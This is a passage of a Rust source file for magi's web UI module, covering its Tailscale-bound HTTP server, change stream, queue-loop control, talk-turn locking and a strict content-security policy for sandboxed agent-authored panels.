Skip to main content

magi/
web.rs

1//! The web UI: magi's queue and run history, readable from a phone.
2//!
3//! The terminal is the wrong surface for the two things an operator actually
4//! does between runs — file a task and check whether the last competition
5//! landed. Both happen away from the desk, so they get an HTTP surface: a
6//! handful of JSON routes and three embedded files.
7//!
8//! # One binary
9//!
10//! `index.html`, `app.css` and `app.js` are compiled in with [`include_str!`].
11//! There is no `--assets-dir` and no filesystem fallback, because a UI that
12//! reads its own front end from disk breaks the moment the binary is copied
13//! somewhere else — which is exactly what `cargo install magi-cli` does. No
14//! JS toolchain, no CDN, no remote font: everything the phone needs arrives
15//! from this process.
16//!
17//! # No authentication
18//!
19//! There is none, deliberately, and the startup log says so. The tailnet is
20//! the security boundary: `--bind auto` resolves to this machine's Tailscale
21//! address, so the UI is reachable from the operator's own devices and from
22//! nothing else. Anyone who can open the URL can file and hold tasks, which is
23//! why binding to `0.0.0.0` is not offered and why the fallback when Tailscale
24//! is missing is loopback rather than every interface.
25//!
26//! # Change notification
27//!
28//! A phone must not poll a full run list on a mobile link. `GET /api/events`
29//! is a server-sent stream carrying nothing but two revision numbers — the
30//! newest modification time in the queue and under the runs directory — so the
31//! client refetches only what moved. The browser's own SSE reconnection covers
32//! a sleeping phone; there is no session to lose.
33//!
34//! # Reading state must never take the server down
35//!
36//! A corrupt `run.json` is skipped in the list and explained with a 500 on the
37//! detail route. No handler unwraps a filesystem or parse result: a single bad
38//! file left by a killed run would otherwise turn the whole history into a
39//! blank page.
40//!
41//! # Agent-authored HTML, rendered anyway
42//!
43//! Everything else here refuses to put API data into the document: `app.js`
44//! builds nodes and sets `textContent`, and even an href from a run record is
45//! laundered first. A confirmation panel breaks that rule on purpose - an
46//! agent asking the owner to approve a merge needs a diff and a table, not one
47//! line of prose - and the only reason it is acceptable is that the panel is
48//! never part of this document.
49//!
50//! It is served by [`question_panel`] and [`question_asset`] and rendered in an
51//! `<iframe sandbox>` carrying exactly `allow-popups` and
52//! `allow-popups-to-escape-sandbox`: no `allow-scripts`, no
53//! `allow-same-origin`. So no script in a panel runs, and the frame cannot
54//! reach the parent document, the cookie jar or `localStorage`. On top of that
55//! both routes send [`PANEL_CSP`], which denies every network destination, so a
56//! panel cannot phone home through a remote image or a beacon either - the two
57//! things it may load, images and inline CSS, are the two things free
58//! formatting actually needs. Assets come from the question's own directory and
59//! never from the network, and their content types come from a closed
60//! whitelist, so an agent cannot get markup rendered outside the frame by
61//! naming a file `.html`.
62//!
63//! # A conversation turn is not a filesystem read
64//!
65//! Every other route here is disk work, which is why [`blocking`] exists.
66//! `POST /api/talks/{id}/say` is the exception: it spawns an agent CLI and
67//! waits tens of seconds for a sentence. It is a plain `await` holding no lock
68//! and no executor thread, and concurrent turns on one talk are refused rather
69//! than queued - see [`Ui::begin_talk_turn`].
70//!
71//! # The loop runs here
72//!
73//! `magi web` runs the queue loop in this process, started and stopped from
74//! `/api/loop`. That is the point of the whole surface: a task filed from a
75//! phone with nobody around to type `magi serve` is a task that sits in the
76//! queue until someone walks back to the machine.
77//!
78//! It is a tokio task holding a [`daemon::Stop`], not a child process. There
79//! is no pid file of this module's own and nothing to supervise - a child
80//! would need reaping, a second copy of the daemon's retry policy, and a
81//! story for what happens when `magi web` dies with the loop still running.
82//! `<home>/daemon.json`, which the loop itself writes, stays the only
83//! cross-process signal, and it is how this process notices that the
84//! operator's own `magi serve` already owns the loop and refuses to start a
85//! second one that would fight it for claims.
86//!
87//! Stopping is cooperative and therefore not instant. A run in flight is
88//! finished first, for the reason [`daemon::serve`] gives: killing the graph
89//! mid-node leaves worktrees, branches and agent sessions behind and throws
90//! away every agent call already paid for. `POST /api/loop` sets the flag and
91//! answers immediately rather than waiting, because the wait is measured in
92//! tens of minutes and the operator is holding a phone.
93
94use std::collections::{HashMap, HashSet};
95use std::convert::Infallible;
96use std::net::{IpAddr, Ipv4Addr, SocketAddr};
97use std::path::{Path as FsPath, PathBuf};
98use std::pin::Pin;
99use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
100use std::time::Duration;
101use tokio::sync::Notify;
102
103use anyhow::{Context, Result};
104use axum::Json;
105use axum::Router;
106use axum::body::Bytes;
107use axum::extract::rejection::JsonRejection;
108use axum::extract::{DefaultBodyLimit, Path, Query, State};
109use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
110use axum::response::sse::{Event, KeepAlive, Sse};
111use axum::response::{IntoResponse, Response};
112use axum::routing::{get, post, put};
113use jiff::Timestamp;
114use serde::{Deserialize, Serialize};
115use tokio_stream::StreamExt as _;
116use tokio_stream::wrappers::ReceiverStream;
117
118use crate::agent;
119use crate::ask::{self, Answer, Question, Questions};
120use crate::config::{AgentKind, Config, Update, UpdateMode};
121use crate::md;
122use crate::notices::{Notice, Notices};
123use crate::persona;
124use crate::proc::Quiet as _;
125use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
126use crate::run::{RunState, RunStatus};
127use crate::talk::{Talk, Talks};
128use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
129
130/// Default port. Chosen high and memorable; nothing else in the fleet uses it.
131pub const DEFAULT_PORT: u16 = 7878;
132
133/// How often the change stream restats the queue and the runs directory.
134const POLL: Duration = Duration::from_secs(1);
135
136/// Keep-alive interval for the change stream. Phones and intermediaries drop
137/// an idle connection within a minute; a comment every fifteen seconds keeps
138/// the stream alive without waking the radio often enough to matter.
139const KEEPALIVE: Duration = Duration::from_secs(15);
140
141/// Ceiling on how long [`run_update_recheck`] ever sleeps between wake-ups.
142///
143/// A fixed period this long would not track a `[update] interval` shorter
144/// than itself: an operator who set `interval = "1m"` to make the deck
145/// notice a release within a minute would still wait up to fifteen of them
146/// for the next wake-up to even ask [`updater::Checker::should_check`].
147/// [`recheck_poll_period`] scales the sleep with the configured interval
148/// instead, and this is only its ceiling - reached at the default interval
149/// of a day, where waking any more often would just spend cycles asking a
150/// question that stays "no" for hours.
151const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
152
153/// Floor on the same, so a very short `[update] interval` cannot spin
154/// [`run_update_recheck`] in a near-busy loop.
155const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
156
157/// Runs returned when the client does not ask, and the ceiling if it asks for
158/// more. The cap exists because the list handler parses every `run.json` it
159/// returns, and a phone cannot render two thousand rows anyway.
160const LIST_DEFAULT: usize = 50;
161/// Upper bound for `?limit=`.
162const LIST_MAX: usize = 500;
163
164/// Width of a generated task title, matching what the CLI uses.
165const TITLE_MAX: usize = 72;
166
167/// Per-file cap for an attachment upload.
168///
169/// Enforced twice: axum's own body limit is raised one byte above this, only
170/// on the two attachment `POST` routes (see the router - every other route
171/// keeps the crate-wide default), so an oversize body is still read far
172/// enough to answer with our own message below rather than axum's generic
173/// one; this constant is what that message and the boundary check actually
174/// compare against.
175const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
176
177/// The image types an attachment upload accepts - a closed whitelist, the
178/// same posture [`asset_content_type`] takes for panel assets and for the
179/// same reason: SVG is excluded on purpose because it is active content
180/// (it may carry `<script>`) and not merely a picture, so it never appears
181/// here even though `image/svg+xml` is a real IANA type.
182const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
183
184/// Header carrying the operator's own filename. Free text, stored only for
185/// display - see [`talk::Attachment::name`]'s doc on why it never
186/// contributes to a path.
187const FILENAME_HEADER: &str = "x-filename";
188
189/// The header that makes serving agent-authored HTML defensible, sent by both
190/// panel routes and asserted verbatim by a test.
191///
192/// Read it as a list of things a hostile panel cannot do. `default-src 'none'`
193/// denies every fetch destination that is not re-allowed below, which is all of
194/// them except images and fonts; `img-src 'self' data:` means an image comes
195/// from magi's own asset route or from the document itself, so a panel cannot
196/// signal an outside server by pointing an `<img>` at it - the classic
197/// exfiltration channel for markup that cannot run script. `style-src
198/// 'unsafe-inline'` is the one permission granted, because inline CSS is what
199/// free formatting means here and a style sheet cannot make a request that
200/// `default-src` has not already allowed. `base-uri 'none'` stops a `<base>`
201/// tag re-pointing the relative asset URLs somewhere else, `form-action 'none'`
202/// stops a form posting the owner's decision to a third party, and
203/// `frame-ancestors 'self'` stops another site framing the panel to phish with
204/// it.
205///
206/// There is deliberately no `script-src`: `default-src 'none'` already covers
207/// it, and the sandboxed frame carries no `allow-scripts` either, so script is
208/// denied twice over. Weakening any directive here is the difference between a
209/// panel the owner reads and a page that can talk to the tailnet, which is why
210/// the test compares the whole string rather than looking for a substring.
211const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
212                         font-src data:; base-uri 'none'; form-action 'none'; \
213                         frame-ancestors 'self'";
214
215const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
216const APP_CSS: &str = include_str!("../assets/ui/app.css");
217const APP_JS: &str = include_str!("../assets/ui/app.js");
218
219/// Which address to listen on.
220#[derive(Debug, Clone, Copy, PartialEq, Eq)]
221pub enum Bind {
222    /// Ask Tailscale, and fall back to loopback with a warning.
223    Auto,
224    /// An address the operator named.
225    Addr(IpAddr),
226}
227
228impl std::str::FromStr for Bind {
229    type Err = String;
230
231    /// `auto`, or anything [`IpAddr`] accepts. Parsing lives with the type so
232    /// the CLI can take `--bind` straight into it: the one spelling of
233    /// `auto` that matters is the one this function knows.
234    fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
235        if s.eq_ignore_ascii_case("auto") {
236            return Ok(Self::Auto);
237        }
238        s.parse()
239            .map(Self::Addr)
240            .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
241    }
242}
243
244impl std::fmt::Display for Bind {
245    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
246        match self {
247            Self::Auto => f.write_str("auto"),
248            Self::Addr(addr) => write!(f, "{addr}"),
249        }
250    }
251}
252
253/// How to serve.
254#[derive(Debug, Clone)]
255pub struct Opts {
256    /// Address to listen on.
257    pub bind: Bind,
258    /// Port to listen on.
259    pub port: u16,
260    /// Repository used for tasks posted without one.
261    pub repo: PathBuf,
262    /// Print the URL on its own line for a caller that wants to hand it to a
263    /// browser. magi never launches one itself.
264    pub open: bool,
265    /// Merge mode override for the loop this process runs (`none`, `local`,
266    /// `pr`); `None` leaves it to each repository's own config.
267    ///
268    /// The same override `magi serve --merge` takes, and here for the same
269    /// reason: `magi web` is now the thing that runs the loop, so an operator
270    /// who wants this session's runs to open pull requests has to be able to
271    /// say so without going back to the command they no longer type.
272    pub merge: Option<String>,
273}
274
275impl Default for Opts {
276    fn default() -> Self {
277        Self {
278            bind: Bind::Auto,
279            port: DEFAULT_PORT,
280            repo: PathBuf::from("."),
281            open: false,
282            merge: None,
283        }
284    }
285}
286
287/// Everything the handlers touch.
288///
289/// The queue, the runs directory and the magi home are fields rather than
290/// process-global lookups so a test drives the real router against a temp
291/// directory instead of the operator's own history.
292#[derive(Debug, Clone)]
293pub struct Ui {
294    queue: Queue,
295    questions: Questions,
296    /// `<home>/notifications`, the bell's own store. Derived from `home` in
297    /// [`Ui::new`] so no constructor signature had to grow.
298    notices: Notices,
299    talks: Talks,
300    runs: PathBuf,
301    home: PathBuf,
302    repo: PathBuf,
303    /// Where the runs' worktrees live, for the health disk figures.
304    ///
305    /// Spelled independently of [`crate::run::default_worktree_root`] so the
306    /// test servers can point it at their own temp directory: the health route
307    /// sizes it, and sizing the operator's real `~/wt/magi` from a test would
308    /// be measuring the machine instead of the server.
309    worktrees_root: PathBuf,
310    /// Talks with an agent turn in flight right now.
311    ///
312    /// In-process and therefore not durable, which is correct: it guards
313    /// against two taps on one phone and two phones on one tailnet, both of
314    /// which are this process's own concurrency. A second `magi web` would not
315    /// see it, and a second `magi web` on the same home is already a
316    /// misconfiguration the queue's claims would catch first.
317    talk_turns: Arc<Mutex<TalkTurns>>,
318    /// Held by `POST /api/upgrade` from its busy-stage check until the first
319    /// progress record is written, so two taps cannot both start an upgrade.
320    /// After that `upgrade.json` carries the exclusion.
321    upgrade_gate: Arc<tokio::sync::Mutex<()>>,
322    /// Set once an upgrade task is spawned, cleared when it fails. Keeps the
323    /// exclusion in memory for when `upgrade.json` could not be written.
324    upgrade_spawned: Arc<std::sync::atomic::AtomicBool>,
325    /// Runs this process is resuming right now.
326    ///
327    /// Separate from `talk_turns` because a run and a talk are different
328    /// things to hold, and a resume is far more expensive to start twice: it
329    /// re-asks agent seats. Same reasoning about scope as `talk_turns` — this
330    /// guards two taps and two phones, which is this process's own
331    /// concurrency.
332    resuming: Arc<Mutex<HashSet<String>>>,
333    /// The last scan of `[repos] roots`, and when it happened. Shared across
334    /// requests so polling `GET /api/repos` repeatedly does not repeat the
335    /// filesystem walk every time - see [`repos::Cache`].
336    repos_cache: repos::Cache,
337    /// The machine-config file the settings screen reads and writes: always
338    /// [`Config::machine_layer`], never anything a request names. A field so a
339    /// test can point it at its own temp directory instead of the operator's.
340    machine_config: Option<PathBuf>,
341    /// Merge mode override handed to the loop this process starts.
342    merge: Option<String>,
343    /// The loop this process is running, if it is running one.
344    looping: Arc<Mutex<LoopState>>,
345    /// How a loop is actually started.
346    ///
347    /// A field rather than a direct call to [`daemon::serve_until`], because
348    /// the real loop resolves its queue and its status file through the
349    /// process-global magi home and claims whatever it finds there. A test
350    /// that started it would reach straight past its own temp directory into
351    /// the operator's live queue, overwrite the status file of the `magi
352    /// serve` that owns it, and spend real agent quota on a real competition.
353    /// What the routes have to get right is the bookkeeping, so the tests
354    /// drive the routes against a loop that only starts and stops; production
355    /// is [`launch_daemon`] and nothing reassigns it.
356    launch: Launch,
357    /// A test-only stop point inside `talk_say`'s busy branch. See
358    /// [`BusyQueueGate`].
359    #[cfg(test)]
360    busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
361}
362
363/// A one-shot stop point the busy branch's queued-draft write can be made to
364/// pause at, right before [`talk::queue`] runs.
365///
366/// Exists because a test cannot otherwise pin *when*, relative to the turn
367/// slot being freed, that write happens: `blocking` runs it on
368/// `spawn_blocking`, whose `JoinHandle` resolves in a single poll if the job
369/// already finished, so counting polls on the handler future to park it at a
370/// particular `.await` is a guess about scheduling, not a fact about it - see
371/// `a_dropped_handler_future_after_queueing_still_drains_the_draft`, which
372/// used to do exactly that and paid for it with an occasional "async fn
373/// resumed after completion" panic under load.
374///
375/// `reached` fires the instant the write is about to run, so a test waits for
376/// a real event instead of a poll count. `release` then blocks the write
377/// until the test says to continue; it is a `std::sync::mpsc::Receiver`
378/// rather than an async channel because this all happens inside the
379/// `spawn_blocking` closure the write already runs on, off any runtime
380/// worker, so blocking here costs nothing the write was not already going to
381/// cost.
382#[cfg(test)]
383struct BusyQueueGate {
384    reached: tokio::sync::oneshot::Sender<()>,
385    release: std::sync::mpsc::Receiver<()>,
386}
387
388#[cfg(test)]
389impl std::fmt::Debug for BusyQueueGate {
390    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
391        f.debug_struct("BusyQueueGate").finish_non_exhaustive()
392    }
393}
394
395impl Ui {
396    /// A server over explicit paths.
397    pub fn new(
398        queue: Queue,
399        questions: Questions,
400        talks: Talks,
401        runs: PathBuf,
402        home: PathBuf,
403        repo: PathBuf,
404    ) -> Self {
405        Self {
406            queue,
407            questions,
408            notices: Notices::at(home.join("notifications")),
409            talks,
410            runs,
411            home,
412            repo,
413            // The default location, overridden by `with_worktrees_root` - a
414            // builder step rather than a ninth parameter, for the reason
415            // `with_merge` gives.
416            worktrees_root: run::default_worktree_root(),
417            talk_turns: Arc::default(),
418            upgrade_gate: Arc::default(),
419            upgrade_spawned: Arc::default(),
420            resuming: Arc::default(),
421            repos_cache: repos::Cache::new(),
422            machine_config: Config::machine_layer(),
423            merge: None,
424            looping: Arc::default(),
425            launch: launch_daemon,
426            #[cfg(test)]
427            busy_queue_gate: Arc::default(),
428        }
429    }
430
431    /// The operator's own state: `<home>/queue`, `<home>/questions`,
432    /// `<home>/talks`, `<home>/runs`.
433    pub fn open(repo: PathBuf) -> Self {
434        Self::new(
435            Queue::open(),
436            Questions::open(),
437            Talks::open(),
438            run::runs_root(),
439            run::home(),
440            repo,
441        )
442    }
443
444    /// The merge mode the loop should use, as the command line gave it.
445    ///
446    /// A builder step rather than a seventh parameter on [`Ui::new`], because
447    /// the override is a property of how this process was invoked and not of
448    /// where its state lives - which is all the tests that build a `Ui` by
449    /// hand are saying.
450    #[must_use]
451    pub fn with_merge(mut self, merge: Option<String>) -> Self {
452        self.merge = merge;
453        self
454    }
455
456    /// The machine-config file the settings screen writes, when it is not
457    /// [`Config::machine_layer`] (tests).
458    #[cfg(test)]
459    #[must_use]
460    fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
461        self.machine_config = path;
462        self
463    }
464
465    /// Where the runs' worktrees live, when it is not the default.
466    ///
467    /// The health view sizes this directory, so a test that leaves it at the
468    /// default would be measuring the operator's own machine.
469    #[must_use]
470    pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
471        self.worktrees_root = root;
472        self
473    }
474
475    /// Point the loop at something other than [`launch_daemon`].
476    ///
477    /// Test-only, and deliberately: see [`Ui::launch`] for why no test in
478    /// this crate may start the real loop.
479    #[cfg(test)]
480    #[must_use]
481    fn with_launch(mut self, launch: Launch) -> Self {
482        self.launch = launch;
483        self
484    }
485
486    /// Install a [`BusyQueueGate`] for the next pass through the busy
487    /// branch's queued-draft write, replacing any earlier one.
488    ///
489    /// A setter on `&self` rather than a `with_*` builder consumed once,
490    /// because a test that drives the busy branch more than once (as
491    /// `a_dropped_handler_future_after_queueing_still_drains_the_draft` does,
492    /// to build confidence the interleaving is handled deterministically and
493    /// not just on a lucky run) needs a fresh channel pair each time, on the
494    /// one `Ui` it already built its temp directories around.
495    #[cfg(test)]
496    fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
497        *self
498            .busy_queue_gate
499            .lock()
500            .unwrap_or_else(PoisonError::into_inner) = Some(gate);
501    }
502
503    /// The loop's state, for [`serve`]'s own way out.
504    fn looping(&self) -> Arc<Mutex<LoopState>> {
505        Arc::clone(&self.looping)
506    }
507
508    /// Start the loop in this process, or say who already has one.
509    ///
510    /// `foreign` is passed in rather than read here so that one request makes
511    /// one judgement about who owns the loop: reading the status file again
512    /// inside this function could refuse a start for a daemon the same
513    /// response then reports as gone.
514    fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
515        if let Some(other) = foreign {
516            return Err(ApiError::conflict(format!(
517                "{} is already running the loop, so this one will not start a \
518                 second: two loops on one queue race for the same claims and \
519                 burn the agent quota twice over. Stop it where it was \
520                 started.",
521                other.who()
522            )));
523        }
524        let mut state = self.lock_loop();
525        if state.live.as_ref().is_some_and(Live::alive) {
526            return Err(ApiError::conflict(format!(
527                "this magi web process (pid {}) is already running the loop",
528                std::process::id()
529            )));
530        }
531
532        let stop = daemon::Stop::new();
533        // The CLI's own defaults for everything the UI has no opinion about:
534        // one poll interval and one retry budget, so a loop started from a
535        // phone behaves exactly like the `magi serve` it replaces.
536        let opts = daemon::Opts {
537            repo: self.repo.clone(),
538            merge: self.merge.clone(),
539            // Whatever this `Ui` already reports worktree sizes and folds
540            // against (see `with_worktrees_root`) is what the loop it starts
541            // must reclaim orphaned worktrees under too - two different
542            // opinions about where the worktree bay is would leave the
543            // janitor pass reclaiming a directory nothing else on this
544            // process is even looking at.
545            worktrees_root: Some(self.worktrees_root.clone()),
546            ..daemon::Opts::default()
547        };
548        let launch = self.launch;
549        let looping = Arc::clone(&self.looping);
550        let handle = tokio::spawn({
551            let opts = opts.clone();
552            let stop = stop.clone();
553            async move {
554                let failure = match launch(opts, stop).await {
555                    Ok(()) => None,
556                    Err(e) => Some(format!("{e:#}")),
557                };
558                match &failure {
559                    Some(why) => tracing::error!("the loop stopped: {why}"),
560                    None => tracing::info!("the loop stopped"),
561                }
562                // Recorded by the task itself rather than reaped by whichever
563                // request happens next, so `loop_rev` moves the moment the
564                // loop ends and a phone with the change stream open learns
565                // that it did. Clearing `live` drops this task's own handle,
566                // which only detaches it, and is the last thing it does.
567                let mut state = lock_or_recover(&looping);
568                state.live = None;
569                state.last_error = failure;
570                state.rev += 1;
571            }
572        });
573        tracing::info!(
574            "the loop is now running in this process: repo {}, merge {}",
575            opts.repo.display(),
576            opts.merge.as_deref().unwrap_or("as the config says")
577        );
578        state.live = Some(Live { stop, handle, opts });
579        // A fresh start is not the place to keep showing why the last one
580        // died; the operator has read it and pressed the button anyway.
581        state.last_error = None;
582        state.rev += 1;
583        Ok(())
584    }
585
586    /// Ask the loop to stop, without waiting for it to get there.
587    ///
588    /// Idempotent: a second tap on stop is not an error, because the first one
589    /// leaves the loop running for as long as the run in flight takes and the
590    /// operator has no way to tell a slow stop from a lost one.
591    fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
592        if let Some(other) = foreign {
593            return Err(ApiError::conflict(format!(
594                "the loop belongs to {}, and this process cannot stop it - \
595                 stop it where it was started. A button that silently did \
596                 nothing would be worse than this refusal.",
597                other.who()
598            )));
599        }
600        let mut state = self.lock_loop();
601        // An operator who stops the loop has decided it stays stopped, even
602        // across an upgrade that was already in flight.
603        if !park {
604            state.resume_after_handover = false;
605        }
606        let Some(live) = state.live.as_ref() else {
607            return Ok(());
608        };
609        // A park upgrades a stop that has already been asked for: the
610        // operator who tapped "stop" and then realised the run has an hour
611        // left must not have to restart the loop to change their mind.
612        if live.stop.stopped() && (!park || live.stop.parking()) {
613            return Ok(());
614        }
615        if park {
616            live.stop.park();
617            tracing::info!("the loop was asked to park; the run stops at its next node boundary");
618        } else {
619            live.stop.stop();
620            tracing::info!("the loop was asked to stop; a run in flight is finished first");
621        }
622        state.rev += 1;
623        Ok(())
624    }
625
626    /// The loop as both `/api/loop` and `/api/health` report it.
627    ///
628    /// `reading` is the caller's single read of `<home>/daemon.json`, because
629    /// health answers with this view *and* the daemon object beside it: one
630    /// read per response is what stops a single answer naming a foreign owner
631    /// in one field and calling the loop free in the other.
632    fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
633        let state = self.lock_loop();
634        // A loop that panicked never recorded its own end, so the handle -
635        // not the presence of the record - is what "running" means.
636        let live = state.live.as_ref().filter(|live| live.alive());
637        LoopView {
638            running: live.is_some(),
639            stopping: live.is_some_and(|live| live.stop.finishing()),
640            parking: live.is_some_and(|live| live.stop.parking()),
641            owned: live.is_some(),
642            repo: live
643                .map_or(&self.repo, |live| &live.opts.repo)
644                .display()
645                .to_string(),
646            merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
647            last_error: state.last_error.clone(),
648            daemon: DaemonView::of(reading),
649        }
650    }
651
652    /// Start the loop in a successor whose predecessor was running one.
653    ///
654    /// Goes through the same path as the UI's start-loop action. A refusal
655    /// (another process owns the loop) is logged and left in `last_error`;
656    /// the loop then simply stays stopped.
657    fn resume_after_handover(&self, resume: bool) -> bool {
658        if !resume {
659            return false;
660        }
661        let foreign = Foreign::of(daemon::read_status(&self.home).as_ref());
662        match self.start_loop(foreign) {
663            Ok(()) => true,
664            Err(e) => {
665                let why = format!(
666                    "the loop could not be resumed after the upgrade: {}",
667                    e.message
668                );
669                tracing::warn!("{why}");
670                let mut state = self.lock_loop();
671                state.last_error = Some(why);
672                state.rev += 1;
673                false
674            }
675        }
676    }
677
678    /// Take the loop lock. See [`lock_or_recover`] for why it cannot fail.
679    fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
680        lock_or_recover(&self.looping)
681    }
682
683    /// Whether this process currently owns the agent turn for `id`.
684    ///
685    /// This deliberately describes only the in-memory claim made by
686    /// [`Ui::begin_talk_turn`]. It is not conversation data and therefore is
687    /// never persisted with a [`Talk`].
688    fn is_thinking(&self, id: &str) -> bool {
689        self.talk_turns
690            .lock()
691            .is_ok_and(|turns| turns.live.contains(id))
692            // Another process (the CLI) can hold the turn through the
693            // on-disk lease.
694            || self.talks.turn_held(id)
695    }
696
697    /// Claim the right to run one turn in a talk, or report that it is busy.
698    ///
699    /// A talk is strictly turn-based: the agent is resumed with the
700    /// conversation it already has, so two turns running at once would resume
701    /// the same session twice and append their answers in whatever order the
702    /// two CLIs finished in. The operator would come back to a transcript
703    /// with two half-turns interleaved, which is unreadable and, worse,
704    /// unfixable - there is no undo for a persisted turn.
705    ///
706    /// A busy result is queued as a durable draft by [`talk_say`], rather than
707    /// starting a second CLI invocation for the same session.
708    ///
709    /// The lock is a `std::sync::Mutex` and never crosses an `await`: it is
710    /// taken to test-and-insert and released before the agent is spawned. The
711    /// returned guard removes the id on drop, which is what makes a panicking
712    /// handler or a phone that walks out of range leave the talk usable - axum
713    /// drops the handler future when the client disconnects, and without the
714    /// guard that talk would be wedged until the server restarted.
715    fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
716        self.claim_talk_turn(id, false)
717    }
718
719    /// Claim a turn after durably queueing a draft, or notify its current
720    /// owner that a drainer must recheck before it releases the slot.
721    fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
722        self.claim_talk_turn(id, true)
723    }
724
725    fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
726        let mut live = self
727            .talk_turns
728            .lock()
729            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
730        if live.parking {
731            if queued {
732                // The draft is already durable; nothing may drain it until
733                // the successor is up, so the caller sees a busy slot.
734                *live.queued.entry(id.to_owned()).or_default() += 1;
735                return Ok(None);
736            }
737            return Err(ApiError::conflict(UPGRADE_IN_PROGRESS));
738        }
739        let inserted = live.live.insert(id.to_owned());
740        // The on-disk lease is the cross-process half of the gate. Taken
741        // second, and undone if lost, so `live` never claims a turn the lease
742        // refused.
743        let lease = if inserted {
744            match self.talks.claim_turn(id) {
745                Ok(Some(lease)) => Some(lease),
746                Ok(None) => {
747                    live.live.remove(id);
748                    None
749                }
750                Err(e) => {
751                    live.live.remove(id);
752                    return Err(ApiError::from(e));
753                }
754            }
755        } else {
756            None
757        };
758        if lease.is_none() {
759            if queued {
760                // A queued write has landed before this busy check.
761                // `drain_loop` uses this generation to recheck after its
762                // off-thread disk read, so it cannot release a turn between
763                // this check and the write.
764                *live.queued.entry(id.to_owned()).or_default() += 1;
765            }
766            return Ok(None);
767        }
768        Ok(Some(TalkTurnGuard {
769            talk: id.to_owned(),
770            turns: Arc::clone(&self.talk_turns),
771            released: false,
772            lease,
773        }))
774    }
775
776    /// Decide whether a free talk may start a new immediate turn while its
777    /// claim lock is held. A persisted draft without an owner is recovery
778    /// state, not a busy turn: two simultaneous `/say` requests must both
779    /// leave it untouched rather than one of them appending to it.
780    fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
781        let mut live = self
782            .talk_turns
783            .lock()
784            .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
785        // Same answer as a running turn: the text is queued as a draft.
786        if live.parking || live.live.contains(id) {
787            return Ok(TalkTurnStart::Busy);
788        }
789        let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
790            return Ok(TalkTurnStart::Foreign);
791        };
792        // A refused `Pending` below drops the lease again.
793        let talk = self.talks.get(id).map_err(ApiError::from)?;
794        if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
795            return Ok(TalkTurnStart::Pending);
796        }
797        live.live.insert(id.to_owned());
798        Ok(TalkTurnStart::Claimed(TalkTurnGuard {
799            talk: id.to_owned(),
800            turns: Arc::clone(&self.talk_turns),
801            released: false,
802            lease: Some(lease),
803        }))
804    }
805
806    /// The shared turn slots, for the upgrade hand-over to wait on.
807    fn turns(&self) -> Arc<Mutex<TalkTurns>> {
808        Arc::clone(&self.talk_turns)
809    }
810
811    /// Park the loop for an upgrade, and report the run that is parking.
812    ///
813    /// A park rather than a stop: a stop waits out the whole competition, and
814    /// not waiting is the point of upgrading from a phone. `None` means
815    /// nothing was in flight, which is worth saying so the operator is not
816    /// told a run is parking when none is.
817    fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
818        let parking = {
819            let mut state = self.lock_loop();
820            // Decided here, before the park: by the time the handover fires
821            // an idle loop has already seen the park and ended, so `live`
822            // would read as "was never running". A loop the operator had
823            // already stopped stays stopped.
824            //
825            // Sticky: a second upgrade request finds the loop already
826            // stopping because of the first one's park, and must not read
827            // that as the operator having stopped it. Only an explicit stop
828            // or a failed update clears an earlier intent.
829            let resume = state.resume_after_handover
830                || state
831                    .live
832                    .as_ref()
833                    .is_some_and(|live| live.alive() && !live.stop.stopped());
834            state.resume_after_handover = resume;
835            let Some(live) = state.live.as_ref() else {
836                return Ok(None);
837            };
838            let busy = live.stop.busy_now();
839            live.stop.park();
840            state.rev += 1;
841            busy
842        };
843        Ok(if parking {
844            // More than one run can be in flight now (see
845            // `Config::daemon.max_concurrent_runs`); this answer names one of
846            // them so the operator sees a park actually happened, not every
847            // run a park now asks to stop at its next boundary.
848            daemon::current_work(&self.home, jiff::Timestamp::now())
849                .into_iter()
850                .next()
851                .map(|c| c.run)
852        } else {
853            None
854        })
855    }
856
857    /// Claim a run for a resume, on the same reasoning as
858    /// [`Ui::begin_talk_turn`]: a guard that releases on drop, so a
859    /// disconnected phone does not wedge the run until the server restarts.
860    fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
861        let mut live = self
862            .resuming
863            .lock()
864            .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
865        if !live.insert(id.to_owned()) {
866            return Err(ApiError::conflict(format!(
867                "run {id} is already being resumed"
868            )));
869        }
870        Ok(ResumeGuard {
871            run: id.to_owned(),
872            resuming: Arc::clone(&self.resuming),
873        })
874    }
875
876    /// The router, with this state baked in.
877    ///
878    /// The three front-end files get one explicit route each rather than a
